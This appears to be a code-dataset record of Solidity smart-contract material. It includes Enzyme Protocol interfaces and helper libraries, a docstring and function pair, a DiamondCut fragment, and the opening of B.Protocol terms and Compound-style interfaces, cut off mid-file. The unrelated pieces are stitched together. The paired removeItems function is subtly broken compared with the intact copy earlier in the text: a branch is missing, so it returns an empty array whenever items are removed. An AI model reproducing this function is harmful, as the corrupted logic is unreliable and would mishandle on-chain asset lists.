/// @notice Gets the `FEE_MANAGER` variable
/// @return feeManager_ The `FEE_MANAGER` variable value
function getFeeManager() public view override returns (address feeManager_) {
return FEE_MANAGER;
}
/// @notice Gets the `FUND_DEPLOYER` variable
/// @return fundDeployer_ The `FUND_DEPLOYER` variable value
function getFundDeployer() public view override returns (address fundDeployer_) {
return FUND_DEPLOYER;
}
/// @notice Gets the `INTEGRATION_MANAGER` variable
/// @return integrationManager_ The `INTEGRATION_MANAGER` variable value
function getIntegrationManager() public view override returns (address integrationManager_) {
return INTEGRATION_MANAGER;
}
/// @notice Gets the `MLN_TOKEN` variable
/// @return mlnToken_ The `MLN_TOKEN` variable value
function getMlnToken() public view returns (address mlnToken_) {
return MLN_TOKEN;
}
/// @notice Gets the `POLICY_MANAGER` variable
/// @return policyManager_ The `POLICY_MANAGER` variable value
function getPolicyManager() public view override returns (address policyManager_) {
return POLICY_MANAGER;
}
/// @notice Gets the `PROTOCOL_FEE_RESERVE` variable
/// @return protocolFeeReserve_ The `PROTOCOL_FEE_RESERVE` variable value
function getProtocolFeeReserve() public view returns (address protocolFeeReserve_) {
return PROTOCOL_FEE_RESERVE;
}
/// @notice Gets the `VALUE_INTERPRETER` variable
/// @return valueInterpreter_ The `VALUE_INTERPRETER` variable value
function getValueInterpreter() public view returns (address valueInterpreter_) {
return VALUE_INTERPRETER;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() public view returns (address wethToken_) {
return WETH_TOKEN;
}
// PROXY STORAGE
/// @notice Checks if collected protocol fee shares are automatically bought back
/// while buying or redeeming shares
/// @return doesAutoBuyback_ True if shares are automatically bought back
function doesAutoProtocolFeeSharesBuyback() public view returns (bool doesAutoBuyback_) {
return autoProtocolFeeSharesBuyback;
}
/// @notice Gets the `denominationAsset` variable
/// @return denominationAsset_ The `denominationAsset` variable value
function getDenominationAsset() public view override returns (address denominationAsset_) {
return denominationAsset;
}
/// @notice Gets the `gasRelayPaymaster` variable
/// @return gasRelayPaymaster_ The `gasRelayPaymaster` variable value
function getGasRelayPaymaster() public view override returns (address gasRelayPaymaster_) {
return gasRelayPaymaster;
}
/// @notice Gets the timestamp of the last time shares were bought for a given account
/// @param _who The account for which to get the timestamp
/// @return lastSharesBoughtTimestamp_ The timestamp of the last shares bought
function getLastSharesBoughtTimestampForAccount(address _who)
public
view
returns (uint256 lastSharesBoughtTimestamp_)
{
return acctToLastSharesBoughtTimestamp[_who];
}
/// @notice Gets the `sharesActionTimelock` variable
/// @return sharesActionTimelock_ The `sharesActionTimelock` variable value
function getSharesActionTimelock() public view returns (uint256 sharesActionTimelock_) {
return sharesActionTimelock;
}
/// @notice Gets the `vaultProxy` variable
/// @return vaultProxy_ The `vaultProxy` variable value
function getVaultProxy() public view override returns (address vaultProxy_) {
return vaultProxy;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../vault/IVault.sol";
/// @title IComptroller Interface
/// @author Enzyme Council <[email protected]>
interface IComptroller {
function activate(bool) external;
function calcGav() external returns (uint256);
function calcGrossShareValue() external returns (uint256);
function callOnExtension(
address,
uint256,
bytes calldata
) external;
function destructActivated(uint256, uint256) external;
function destructUnactivated() external;
function getDenominationAsset() external view returns (address);
function getExternalPositionManager() external view returns (address);
function getFeeManager() external view returns (address);
function getFundDeployer() external view returns (address);
function getGasRelayPaymaster() external view returns (address);
function getIntegrationManager() external view returns (address);
function getPolicyManager() external view returns (address);
function getVaultProxy() external view returns (address);
function init(address, uint256) external;
function permissionedVaultAction(IVault.VaultAction, bytes calldata) external;
function preTransferSharesHook(
address,
address,
uint256
) external;
function preTransferSharesHookFreelyTransferable(address) external view;
function setGasRelayPaymaster(address) external;
function setVaultProxy(address) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../persistent/vault/interfaces/IExternalPositionVault.sol";
import "../../../../persistent/vault/interfaces/IFreelyTransferableSharesVault.sol";
import "../../../../persistent/vault/interfaces/IMigratableVault.sol";
/// @title IVault Interface
/// @author Enzyme Council <[email protected]>
interface IVault is IMigratableVault, IFreelyTransferableSharesVault, IExternalPositionVault {
enum VaultAction {
None,
// Shares management
BurnShares,
MintShares,
TransferShares,
// Asset management
AddTrackedAsset,
ApproveAssetSpender,
RemoveTrackedAsset,
WithdrawAssetTo,
// External position management
AddExternalPosition,
CallOnExternalPosition,
RemoveExternalPosition
}
function addTrackedAsset(address) external;
function burnShares(address, uint256) external;
function buyBackProtocolFeeShares(
uint256,
uint256,
uint256
) external;
function callOnContract(address, bytes calldata) external returns (bytes memory);
function canManageAssets(address) external view returns (bool);
function canRelayCalls(address) external view returns (bool);
function getAccessor() external view returns (address);
function getOwner() external view returns (address);
function getActiveExternalPositions() external view returns (address[] memory);
function getTrackedAssets() external view returns (address[] memory);
function isActiveExternalPosition(address) external view returns (bool);
function isTrackedAsset(address) external view returns (bool);
function mintShares(address, uint256) external;
function payProtocolFee() external;
function receiveValidatedVaultAction(VaultAction, bytes calldata) external;
function setAccessorForFundReconfiguration(address) external;
function setSymbol(string calldata) external;
function transferShares(
address,
address,
uint256
) external;
function withdrawAssetTo(
address,
address,
uint256
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IExtension Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for all extensions
interface IExtension {
function activateForFund(bool _isMigration) external;
function deactivateForFund() external;
function receiveCallFromComptroller(
address _caller,
uint256 _actionId,
bytes calldata _callArgs
) external;
function setConfigForFund(
address _comptrollerProxy,
address _vaultProxy,
bytes calldata _configData
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @title FeeManager Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for the FeeManager
interface IFeeManager {
// No fees for the current release are implemented post-redeemShares
enum FeeHook {Continuous, PreBuyShares, PostBuyShares, PreRedeemShares}
enum SettlementType {None, Direct, Mint, Burn, MintSharesOutstanding, BurnSharesOutstanding}
function invokeHook(
FeeHook,
bytes calldata,
uint256
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @title PolicyManager Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for the PolicyManager
interface IPolicyManager {
// When updating PolicyHook, also update these functions in PolicyManager:
// 1. __getAllPolicyHooks()
// 2. __policyHookRestrictsCurrentInvestorActions()
enum PolicyHook {
PostBuyShares,
PostCallOnIntegration,
PreTransferShares,
RedeemSharesForSpecificAssets,
AddTrackedAssets,
RemoveTrackedAssets,
CreateExternalPosition,
PostCallOnExternalPosition,
RemoveExternalPosition,
ReactivateExternalPosition
}
function validatePolicies(
address,
PolicyHook,
bytes calldata
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
import "../../utils/beacon-proxy/IBeaconProxyFactory.sol";
import "./IGasRelayPaymaster.sol";
pragma solidity 0.6.12;
/// @title GasRelayRecipientMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin that enables receiving GSN-relayed calls
/// @dev IMPORTANT: Do not use storage var in this contract,
/// unless it is no longer inherited by the VaultLib
abstract contract GasRelayRecipientMixin {
address internal immutable GAS_RELAY_PAYMASTER_FACTORY;
constructor(address _gasRelayPaymasterFactory) internal {
GAS_RELAY_PAYMASTER_FACTORY = _gasRelayPaymasterFactory;
}
/// @dev Helper to parse the canonical sender of a tx based on whether it has been relayed
function __msgSender() internal view returns (address payable canonicalSender_) {
if (msg.data.length >= 24 && msg.sender == getGasRelayTrustedForwarder()) {
assembly {
canonicalSender_ := shr(96, calldataload(sub(calldatasize(), 20)))
}
return canonicalSender_;
}
return msg.sender;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `GAS_RELAY_PAYMASTER_FACTORY` variable
/// @return gasRelayPaymasterFactory_ The `GAS_RELAY_PAYMASTER_FACTORY` variable value
function getGasRelayPaymasterFactory()
public
view
returns (address gasRelayPaymasterFactory_)
{
return GAS_RELAY_PAYMASTER_FACTORY;
}
/// @notice Gets the trusted forwarder for GSN relaying
/// @return trustedForwarder_ The trusted forwarder
function getGasRelayTrustedForwarder() public view returns (address trustedForwarder_) {
return
IGasRelayPaymaster(
IBeaconProxyFactory(getGasRelayPaymasterFactory()).getCanonicalLib()
)
.trustedForwarder();
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "../../interfaces/IGsnPaymaster.sol";
/// @title IGasRelayPaymaster Interface
/// @author Enzyme Council <[email protected]>
interface IGasRelayPaymaster is IGsnPaymaster {
function deposit() external;
function withdrawBalance() external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IGasRelayPaymasterDepositor Interface
/// @author Enzyme Council <[email protected]>
interface IGasRelayPaymasterDepositor {
function pullWethForGasRelayer(uint256) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IValueInterpreter interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for ValueInterpreter
interface IValueInterpreter {
function calcCanonicalAssetValue(
address,
uint256,
address
) external returns (uint256);
function calcCanonicalAssetsTotalValue(
address[] calldata,
uint256[] calldata,
address
) external returns (uint256);
function isSupportedAsset(address) external view returns (bool);
function isSupportedDerivativeAsset(address) external view returns (bool);
function isSupportedPrimitiveAsset(address) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IGsnForwarder interface
/// @author Enzyme Council <[email protected]>
interface IGsnForwarder {
struct ForwardRequest {
address from;
address to;
uint256 value;
uint256 gas;
uint256 nonce;
bytes data;
uint256 validUntil;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./IGsnTypes.sol";
/// @title IGsnPaymaster interface
/// @author Enzyme Council <[email protected]>
interface IGsnPaymaster {
struct GasAndDataLimits {
uint256 acceptanceBudget;
uint256 preRelayedCallGasLimit;
uint256 postRelayedCallGasLimit;
uint256 calldataSizeLimit;
}
function getGasAndDataLimits() external view returns (GasAndDataLimits memory limits);
function getHubAddr() external view returns (address);
function getRelayHubDeposit() external view returns (uint256);
function preRelayedCall(
IGsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
) external returns (bytes memory context, bool rejectOnRecipientRevert);
function postRelayedCall(
bytes calldata context,
bool success,
uint256 gasUseWithoutPost,
IGsnTypes.RelayData calldata relayData
) external;
function trustedForwarder() external view returns (address);
function versionPaymaster() external view returns (string memory);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./IGsnForwarder.sol";
/// @title IGsnTypes Interface
/// @author Enzyme Council <[email protected]>
interface IGsnTypes {
struct RelayData {
uint256 gasPrice;
uint256 pctRelayFee;
uint256 baseRelayFee;
address relayWorker;
address paymaster;
address forwarder;
bytes paymasterData;
uint256 clientId;
}
struct RelayRequest {
IGsnForwarder.ForwardRequest request;
RelayData relayData;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title WETH Interface
/// @author Enzyme Council <[email protected]>
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../core/fund/comptroller/ComptrollerLib.sol";
import "../interfaces/IWETH.sol";
import "../utils/AssetHelpers.sol";
/// @title DepositWrapper Contract
/// @author Enzyme Council <[email protected]>
/// @notice Logic related to wrapping deposit actions
contract DepositWrapper is AssetHelpers {
address private immutable WETH_TOKEN;
constructor(address _weth) public {
WETH_TOKEN = _weth;
}
/// @dev Needed in case WETH not fully used during exchangeAndBuyShares,
/// to unwrap into ETH and refund
receive() external payable {}
// EXTERNAL FUNCTIONS
/// @notice Exchanges ETH into a fund's denomination asset and then buys shares
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _minSharesQuantity The minimum quantity of shares to buy with the sent ETH
/// @param _exchange The exchange on which to execute the swap to the denomination asset
/// @param _exchangeApproveTarget The address that should be given an allowance of WETH
/// for the given _exchange
/// @param _exchangeData The data with which to call the exchange to execute the swap
/// to the denomination asset
/// @param _minInvestmentAmount The minimum amount of the denomination asset
/// to receive in the trade for investment (not necessary for WETH)
/// @return sharesReceived_ The actual amount of shares received
/// @dev Use a reasonable _minInvestmentAmount always, in case the exchange
/// does not perform as expected (low incoming asset amount, blend of assets, etc).
/// If the fund's denomination asset is WETH, _exchange, _exchangeApproveTarget, _exchangeData,
/// and _minInvestmentAmount will be ignored.
function exchangeEthAndBuyShares(
address _comptrollerProxy,
address _denominationAsset,
uint256 _minSharesQuantity,
address _exchange,
address _exchangeApproveTarget,
bytes calldata _exchangeData,
uint256 _minInvestmentAmount
) external payable returns (uint256 sharesReceived_) {
// Wrap ETH into WETH
IWETH(payable(getWethToken())).deposit{value: msg.value}();
// If denominationAsset is WETH, can just buy shares directly
if (_denominationAsset == getWethToken()) {
__approveAssetMaxAsNeeded(getWethToken(), _comptrollerProxy, msg.value);
return __buyShares(_comptrollerProxy, msg.sender, msg.value, _minSharesQuantity);
}
// Exchange ETH to the fund's denomination asset
__approveAssetMaxAsNeeded(getWethToken(), _exchangeApproveTarget, msg.value);
(bool success, bytes memory returnData) = _exchange.call(_exchangeData);
require(success, string(returnData));
// Confirm the amount received in the exchange is above the min acceptable amount
uint256 investmentAmount = ERC20(_denominationAsset).balanceOf(address(this));
require(
investmentAmount >= _minInvestmentAmount,
"exchangeAndBuyShares: _minInvestmentAmount not met"
);
// Give the ComptrollerProxy max allowance for its denomination asset as necessary
__approveAssetMaxAsNeeded(_denominationAsset, _comptrollerProxy, investmentAmount);
// Buy fund shares
sharesReceived_ = __buyShares(
_comptrollerProxy,
msg.sender,
investmentAmount,
_minSharesQuantity
);
// Unwrap and refund any remaining WETH not used in the exchange
uint256 remainingWeth = ERC20(getWethToken()).balanceOf(address(this));
if (remainingWeth > 0) {
IWETH(payable(getWethToken())).withdraw(remainingWeth);
(success, returnData) = msg.sender.call{value: remainingWeth}("");
require(success, string(returnData));
}
return sharesReceived_;
}
// PRIVATE FUNCTIONS
/// @dev Helper for buying shares
function __buyShares(
address _comptrollerProxy,
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity
) private returns (uint256 sharesReceived_) {
ComptrollerLib comptrollerProxyContract = ComptrollerLib(_comptrollerProxy);
sharesReceived_ = comptrollerProxyContract.buySharesOnBehalf(
_buyer,
_investmentAmount,
_minSharesQuantity
);
return sharesReceived_;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() public view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title AddressArray Library
/// @author Enzyme Council <[email protected]>
/// @notice A library to extend the address array data type
library AddressArrayLib {
/////////////
// STORAGE //
/////////////
/// @dev Helper to remove an item from a storage array
function removeStorageItem(address[] storage _self, address _itemToRemove)
internal
returns (bool removed_)
{
uint256 itemCount = _self.length;
for (uint256 i; i < itemCount; i++) {
if (_self[i] == _itemToRemove) {
if (i < itemCount - 1) {
_self[i] = _self[itemCount - 1];
}
_self.pop();
removed_ = true;
break;
}
}
return removed_;
}
////////////
// MEMORY //
////////////
/// @dev Helper to add an item to an array. Does not assert uniqueness of the new item.
function addItem(address[] memory _self, address _itemToAdd)
internal
pure
returns (address[] memory nextArray_)
{
nextArray_ = new address[](_self.length + 1);
for (uint256 i; i < _self.length; i++) {
nextArray_[i] = _self[i];
}
nextArray_[_self.length] = _itemToAdd;
return nextArray_;
}
/// @dev Helper to add an item to an array, only if it is not already in the array.
function addUniqueItem(address[] memory _self, address _itemToAdd)
internal
pure
returns (address[] memory nextArray_)
{
if (contains(_self, _itemToAdd)) {
return _self;
}
return addItem(_self, _itemToAdd);
}
/// @dev Helper to verify if an array contains a particular value
function contains(address[] memory _self, address _target)
internal
pure
returns (bool doesContain_)
{
for (uint256 i; i < _self.length; i++) {
if (_target == _self[i]) {
return true;
}
}
return false;
}
/// @dev Helper to merge the unique items of a second array.
/// Does not consider uniqueness of either array, only relative uniqueness.
/// Preserves ordering.
function mergeArray(address[] memory _self, address[] memory _arrayToMerge)
internal
pure
returns (address[] memory nextArray_)
{
uint256 newUniqueItemCount;
for (uint256 i; i < _arrayToMerge.length; i++) {
if (!contains(_self, _arrayToMerge[i])) {
newUniqueItemCount++;
}
}
if (newUniqueItemCount == 0) {
return _self;
}
nextArray_ = new address[](_self.length + newUniqueItemCount);
for (uint256 i; i < _self.length; i++) {
nextArray_[i] = _self[i];
}
uint256 nextArrayIndex = _self.length;
for (uint256 i; i < _arrayToMerge.length; i++) {
if (!contains(_self, _arrayToMerge[i])) {
nextArray_[nextArrayIndex] = _arrayToMerge[i];
nextArrayIndex++;
}
}
return nextArray_;
}
/// @dev Helper to verify if array is a set of unique values.
/// Does not assert length > 0.
function isUniqueSet(address[] memory _self) internal pure returns (bool isUnique_) {
if (_self.length <= 1) {
return true;
}
uint256 arrayLength = _self.length;
for (uint256 i; i < arrayLength; i++) {
for (uint256 j = i + 1; j < arrayLength; j++) {
if (_self[i] == _self[j]) {
return false;
}
}
}
return true;
}
/// @dev Helper to remove items from an array. Removes all matching occurrences of each item.
/// Does not assert uniqueness of either array.
function removeItems(address[] memory _self, address[] memory _itemsToRemove)
internal
pure
returns (address[] memory nextArray_)
{
if (_itemsToRemove.length == 0) {
return _self;
}
bool[] memory indexesToRemove = new bool[](_self.length);
uint256 remainingItemsCount = _self.length;
for (uint256 i; i < _self.length; i++) {
if (contains(_itemsToRemove, _self[i])) {
indexesToRemove[i] = true;
remainingItemsCount--;
}
}
if (remainingItemsCount == _self.length) {
nextArray_ = _self;
} else if (remainingItemsCount > 0) {
nextArray_ = new address[](remainingItemsCount);
uint256 nextArrayIndex;
for (uint256 i; i < _self.length; i++) {
if (!indexesToRemove[i]) {
nextArray_[nextArrayIndex] = _self[i];
nextArrayIndex++;
}
}
}
return nextArray_;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
/// @title AssetHelpers Contract
/// @author Enzyme Council <[email protected]>
/// @notice A util contract for common token actions
abstract contract AssetHelpers {
using SafeERC20 for ERC20;
using SafeMath for uint256;
/// @dev Helper to approve a target account with the max amount of an asset.
/// This is helpful for fully trusted contracts, such as adapters that
/// interact with external protocol like Uniswap, Compound, etc.
function __approveAssetMaxAsNeeded(
address _asset,
address _target,
uint256 _neededAmount
) internal {
uint256 allowance = ERC20(_asset).allowance(address(this), _target);
if (allowance < _neededAmount) {
if (allowance > 0) {
ERC20(_asset).safeApprove(_target, 0);
}
ERC20(_asset).safeApprove(_target, type(uint256).max);
}
}
/// @dev Helper to transfer full asset balances from the current contract to a target
function __pushFullAssetBalances(address _target, address[] memory _assets)
internal
returns (uint256[] memory amountsTransferred_)
{
amountsTransferred_ = new uint256[](_assets.length);
for (uint256 i; i < _assets.length; i++) {
ERC20 assetContract = ERC20(_assets[i]);
amountsTransferred_[i] = assetContract.balanceOf(address(this));
if (amountsTransferred_[i] > 0) {
assetContract.safeTransfer(_target, amountsTransferred_[i]);
}
}
return amountsTransferred_;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IBeacon interface
/// @author Enzyme Council <[email protected]>
interface IBeacon {
function getCanonicalLib() external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
import "./IBeacon.sol";
pragma solidity 0.6.12;
/// @title IBeaconProxyFactory interface
/// @author Enzyme Council <[email protected]>
interface IBeaconProxyFactory is IBeacon {
function deployProxy(bytes memory _constructData) external returns (address proxy_);
function setCanonicalLib(address _canonicalLib) external;
}
|
Helper to remove items from an array. Removes all matching occurrences of each item. Does not assert uniqueness of either array.
|
function removeItems(address[] memory _self, address[] memory _itemsToRemove)
internal
pure
returns (address[] memory nextArray_)
{
if (_itemsToRemove.length == 0) {
return _self;
}
bool[] memory indexesToRemove = new bool[](_self.length);
uint256 remainingItemsCount = _self.length;
for (uint256 i; i < _self.length; i++) {
if (contains(_itemsToRemove, _self[i])) {
indexesToRemove[i] = true;
remainingItemsCount--;
}
}
if (remainingItemsCount == _self.length) {
nextArray_ = _self;
nextArray_ = new address[](remainingItemsCount);
uint256 nextArrayIndex;
for (uint256 i; i < _self.length; i++) {
if (!indexesToRemove[i]) {
nextArray_[nextArrayIndex] = _self[i];
nextArrayIndex++;
}
}
}
return nextArray_;
}
| 122,500
|
./partial_match/84531/0xAABeead2Aa1Dc97dbbf44e7daC50e43c50f71DF9/sources/contracts/src/diamond/facets/cut/DiamondCutBase.sol
|
Initialize Diamond Cut Payload init The init address initPayload The init payload
|
function _initializeDiamondCut(
IDiamond.FacetCut[] memory,
address init,
bytes memory initPayload
) internal {
if (init == address(0)) return;
if (!Address.isContract(init)) {
revert DiamondCut_InvalidContract(init);
}
| 16,682,182
|
/*
B.PROTOCOL TERMS OF USE
=======================
THE TERMS OF USE CONTAINED HEREIN (THESE “TERMS”) GOVERN YOUR USE OF B.PROTOCOL, WHICH IS A DECENTRALIZED PROTOCOL ON THE ETHEREUM BLOCKCHAIN (the “PROTOCOL”) THAT enables a backstop liquidity mechanism FOR DECENTRALIZED LENDING PLATFORMS (“DLPs”).
PLEASE READ THESE TERMS CAREFULLY AT https://github.com/backstop-protocol/Terms-and-Conditions, INCLUDING ALL DISCLAIMERS AND RISK FACTORS, BEFORE USING THE PROTOCOL. BY USING THE PROTOCOL, YOU ARE IRREVOCABLY CONSENTING TO BE BOUND BY THESE TERMS.
IF YOU DO NOT AGREE TO ALL OF THESE TERMS, DO NOT USE THE PROTOCOL. YOUR RIGHT TO USE THE PROTOCOL IS SUBJECT AND DEPENDENT BY YOUR AGREEMENT TO ALL TERMS AND CONDITIONS SET FORTH HEREIN, WHICH AGREEMENT SHALL BE EVIDENCED BY YOUR USE OF THE PROTOCOL.
Minors Prohibited: The Protocol is not directed to individuals under the age of eighteen (18) or the age of majority in your jurisdiction if the age of majority is greater. If you are under the age of eighteen or the age of majority (if greater), you are not authorized to access or use the Protocol. By using the Protocol, you represent and warrant that you are above such age.
License; No Warranties; Limitation of Liability;
(a) The software underlying the Protocol is licensed for use in accordance with the 3-clause BSD License, which can be accessed here: https://opensource.org/licenses/BSD-3-Clause.
(b) THE PROTOCOL IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", “WITH ALL FAULTS” and “AS AVAILABLE” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
(c) IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// File: contracts/bprotocol/interfaces/IComptroller.sol
pragma solidity 0.5.16;
interface IComptroller {
// ComptrollerLensInterface.sol
// =============================
function markets(address) external view returns (bool, uint);
function oracle() external view returns (address);
function getAccountLiquidity(address) external view returns (uint, uint, uint);
function getAssetsIn(address) external view returns (address[] memory);
function compAccrued(address) external view returns (uint);
// Claim all the COMP accrued by holder in all markets
function claimComp(address holder) external;
// Claim all the COMP accrued by holder in specific markets
function claimComp(address holder, address[] calldata cTokens) external;
function claimComp(address[] calldata holders, address[] calldata cTokens, bool borrowers, bool suppliers) external;
// Public storage defined in Comptroller contract
// ===============================================
function checkMembership(address account, address cToken) external view returns (bool);
function closeFactorMantissa() external returns (uint256);
function liquidationIncentiveMantissa() external returns (uint256);
// Public/external functions defined in Comptroller contract
// ==========================================================
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
function exitMarket(address cToken) external returns (uint);
function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint);
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint);
function getAllMarkets() external view returns (address[] memory);
function liquidateCalculateSeizeTokens(
address cTokenBorrowed,
address cTokenCollateral,
uint actualRepayAmount) external view returns (uint, uint);
function compBorrowState(address cToken) external returns (uint224, uint32);
function compSupplyState(address cToken) external returns (uint224, uint32);
}
// File: contracts/bprotocol/interfaces/IRegistry.sol
pragma solidity 0.5.16;
interface IRegistry {
// Ownable
function transferOwnership(address newOwner) external;
// Compound contracts
function comp() external view returns (address);
function comptroller() external view returns (address);
function cEther() external view returns (address);
// B.Protocol contracts
function bComptroller() external view returns (address);
function score() external view returns (address);
function pool() external view returns (address);
// Avatar functions
function delegate(address avatar, address delegatee) external view returns (bool);
function doesAvatarExist(address avatar) external view returns (bool);
function doesAvatarExistFor(address owner) external view returns (bool);
function ownerOf(address avatar) external view returns (address);
function avatarOf(address owner) external view returns (address);
function newAvatar() external returns (address);
function getAvatar(address owner) external returns (address);
// avatar whitelisted calls
function whitelistedAvatarCalls(address target, bytes4 functionSig) external view returns(bool);
function setPool(address newPool) external;
function setWhitelistAvatarCall(address target, bytes4 functionSig, bool list) external;
}
// File: contracts/bprotocol/interfaces/IScore.sol
pragma solidity 0.5.16;
interface IScore {
function updateDebtScore(address _user, address cToken, int256 amount) external;
function updateCollScore(address _user, address cToken, int256 amount) external;
function slashedScore(address _user, address cToken, int256 amount) external;
}
// File: contracts/bprotocol/lib/CarefulMath.sol
pragma solidity 0.5.16;
/**
* @title Careful Math
* @author Compound
* @notice COPY TAKEN FROM COMPOUND FINANCE
* @notice Derived from OpenZeppelin's SafeMath library
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract CarefulMath {
/**
* @dev Possible error codes that we can return
*/
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function divUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
/**
